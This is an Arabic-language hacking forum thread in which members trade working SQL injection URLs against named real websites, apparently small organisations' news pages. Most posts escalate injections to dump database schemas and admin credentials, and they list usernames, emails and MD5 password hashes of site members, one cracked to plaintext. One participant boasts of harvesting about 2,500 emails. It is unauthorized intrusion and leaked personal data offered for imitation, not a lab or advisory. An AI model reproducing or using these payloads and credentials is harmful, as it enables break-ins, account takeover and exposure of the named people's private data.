غرفة حقن قواعد البيانات {غرفة Sql }

[darkman.dz]

http://www.talkeetnachamber.org/news.php?id=-158+union+select+1,2,3,version%28%29,5,6,database%28%29,8,9,10,11--

وصلت هنا
الفلترة مانفهت معي مع from
الأمر
from+information_schema.columns

فما الحل راكو شوقتونا

[darkman.dz]

وصلت الحقنة إلى

http://www.talkeetnachamber.org/news.php?id=-158+union+select+1,2,3,version%28%29,5,6,group_concat%28table_name,0x3a,column_name,0x3a,table_schema%29,8,9,10,11+from+information_schema.columns--

وجاري الزيادة

[darkman.dz]

الحقنة في

http://www.talkeetnachamber.org/news.php?id=-158+union+select+1,2,3,version%28%29,5,6,group_concat%28table_name,0x3a,column_name,0x3a,table_schema%29,8,9,10,11+from+information_schema.columns+where+table_name=0x7068704d795365617263685f73657474696e6773--

أعمدة الباس

phpMySearch_settings:DBPassword:talkeetn_db01
phpMySearch_settings:adminPassword:talkeetn_db01
talk_user:pass:talkeetn_db01

الجداول table_name

phpMySearch_settings:recNo:talkeetn_db01
phpMySearch_settings:DBName:talkeetn_db01
phpMySearch_settings:DBUser:talkeetn_db01
phpMySearch_settings:DBPassword:talkeetn_db01
phpMySearch_settings:DBHost:talkeetn_db01
phpMySearch_settings:ProxyActive:talkeetn_db01
phpMySearch_settings:ProxyHost:talkeetn_db01
phpMySearch_settings:ProxyUser:talkeetn_db01
phpMySearch_settings:DBMainTableName:talkeetn_db01
phpMySearch_settings:DBSettingsTableName:talkeetn_db01
phpMySearch_settings:DBStructTableName:talkeetn_db01
phpMySearch_settings:DBSpiderStateTableName:talkeetn_db01
phpMySearch_settings:DBStatsTableName:talkeetn_db01
phpMySearch_settings:adminLogin:talkeetn_db01
phpMySearch_settings:adminPassword:talkeetn_db01
phpMySearch_settings:parsingExtArr:talkeetn_db01
phpMySearch_settings:startURLs:talkeetn_db01
phpMySearch_settings:urlRetrieveNumber:talkeetn_db01
phpMySearch_settings:StatsActive:talkeetn_db01
phpMySearch_settings:statsOutputNumber:talkeetn_db01
phpMySearch_settings:blackList:talkeetn_db01

وجاري المتابعة بإذن الله

[TIKTAKram]

أوكي بإنتظارك و أي مشكلة أنا هنا

و لا تتسرع مرة أخرى لأنه لا توجدأي فلترة

بالتوفيق

[darkman.dz]

نهاية الحقنة

http://www.talkeetnachamber.org/news.php?id=-158+union+select+1,2,3,version%28%29,5,6,group_concat%28adminLogin,0x3a,adminPassword%29,8,9,10,11+from+phpMySearch_settings--

user = admin
password = admin

[darkman.dz]

جاري تخمين مسار لوحة التحكم أخي
Syst3m-32

[Master vbspiders]

[align=center]هههه جابها احد الاعضاء
الاستغلال من الاخ karim_topten

كود PHP:

http://www.araob.com/news.php?page=0&dept=-7%20union%20select%201,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11,12,13,14,15%20from%20araobcom_news.members-- 


بطل والله
تحياتي

[darkman.dz]

أين المواقع الأخرى أخي
Master vbspiders

[Master vbspiders]

اقتباس المشاركة الأصلية كتبت بواسطة ooooo_darkman_ooooo أين المواقع الأخرى أخي Master vbspiders

من عيوني خويا الغالي
جاري البحث
ثواني بس...
تحياتي

[TIKTAKram]

أحسنت عملا أخي ooooo_darkman_ooooo

حقنة كاملة و عمل رائع

بالتوفيق و بالنسبة للوحة نفس النتائج

يعني ممكن صاحب الموقع مغيره

المهم...! في إنتظار المواقع و لو مش موجود أنا هنا

فقط عشان أترك الأعضاء يستفدوا

بالتوفيق

[darkman.dz]

اقتباس المشاركة الأصلية كتبت بواسطة Syst3m-32 أحسنت عملا أخي ooooo_darkman_ooooo حقنة كاملة و عمل رائع بالتوفيق و بالنسبة للوحة نفس النتائج يعني ممكن صاحب الموقع مغيره المهم...! في إنتظار المواقع و لو مش موجود أنا هنا فقط عشان أترك الأعضاء يستفدوا بالتوفيق

هههههههههههههههههههههههههههههههههههههههههههههههههه ههههههههه
مشكور أخي system-32
لدي مواقع كثيرة راح أضعها بإذن الله في الأيام القليلة القادمة

[Master vbspiders]

[align=center]اسف على التاخير
هذا الهدف الجديد : http://www.cnet.org.uk/news1.php?ID=60
الهدف سهل هالمرة...
بالتوفيق
تحياتي




[/align]

[TIKTAKram]

تم الحقن و أنا آسف على التأخير

أنا عم إستخرجت حوالي 2500 إيميل من موقع و أنا الآن أفك التشفير

المهم ...! هذه هي الحقنة :

 http://www.cnet.org.uk/news1.php?ID=-60%20UNION%20SELECT%201,concat%28id,0x3a,username,0x3a,password%29,3,4+from+pm_members--

المعلومات كالتالي :

الأدمن : Admin

باسوارده : d20c2b4dab47f7ae84f580e21dd32cbf

و تم فك التشفير : cnet2529

بالتوفيق

[darkman.dz]

أنا أيضا طلعت اللإيميلات و كل شيئ
ههههههههههههههههههههههههههههه

[darkman.dz]

الحقنة كاملة

http://www.cnet.org.uk/news1.php?ID=-60 union select 1,version(),group_concat(username,0x3a,password,0x3a,email),4+from+pm_members--

هناك عمودين للباسوورد
أنا طبقت على الثاني وجاري العمل على الأول للإستطلاع

cn_members:MemberPassword:cnet_org_uk_-_db
pm_members:password:cnet_org_uk_-_db

وهاته الجداول

pm_members:id:cnet_org_uk_-_db
pm_members:member_id:cnet_org_uk_-_db
pm_members:username:cnet_org_uk_-_db
pm_members:password:cnet_org_uk_-_db
pm_members:email:cnet_org_uk_-_db
pm_members:signature:cnet_org_uk_-_db
pm_members:location:cnet_org_uk_-_db
pm_members:url:cnet_org_uk_-_db
pm_members:occupation:cnet_org_uk_-_db
pm_members:interests:cnet_org_uk_-_db
pm_members:bio:cnet_org_uk_-_db
pm_members:bday_day:cnet_org_uk_-_db
pm_members:bday_month:cnet_org_uk_-_db
pm_members:bday_year:cnet_org_uk_-_db
pm_members:icq:cnet_org_uk_-_db
pm_members:aol_im:cnet_org_uk_-_db
pm_members:yahoo_im:cnet_org_uk_-_db
pm_members:msn_im:cnet_org_uk_-_db
pm_members:show_email:cnet_org_uk_-_db
pm_members:get_email:cnet_org_uk_-_db
pm_members:joindate:cnet_org_uk_-_db
pm_members:numentries:cnet_org_uk_-_db
pm_members:numcomments:cnet_org_uk_-_db
pm_members:lastpost:cnet_org_uk_-_db
pm_members:status:cnet_org_uk_-_db
pm_members:ipaddress:cnet_org_uk_-_db
pm_members:deft_weblog:cnet_org_uk_-_db

وهاته الإيميلات وباسوورداتها مشفرة
على ما أعتقد md5

admin:d20c2b4dab47f7ae84f580e21dd32cbf:admin@cnet.org.uk
janet:d20c2b4dab47f7ae84f580e21dd32cbf:janet@cnet.org.uk
steven:d20c2b4dab47f7ae84f580e21dd32cbf:steven@cnet.org.uk
mel:d20c2b4dab47f7ae84f580e21dd32cbf:mel@cnet.org.uk
bernie:d20c2b4dab47f7ae84f580e21dd32cbf:bernie@cnet.org.uk
sally:d20c2b4dab47f7ae84f580e21dd32cbf:sally@cnet.org.uk
sue:d20c2b4dab47f7ae84f580e21dd32cbf:sue@cnet.org.uk
alan:d20c2b4dab47f7ae84f580e21dd32cbf:notsure@yet.com
JaneTaylor:cf6567db885b2a722b71ee54d9002453:jane@labrysmm.co.uk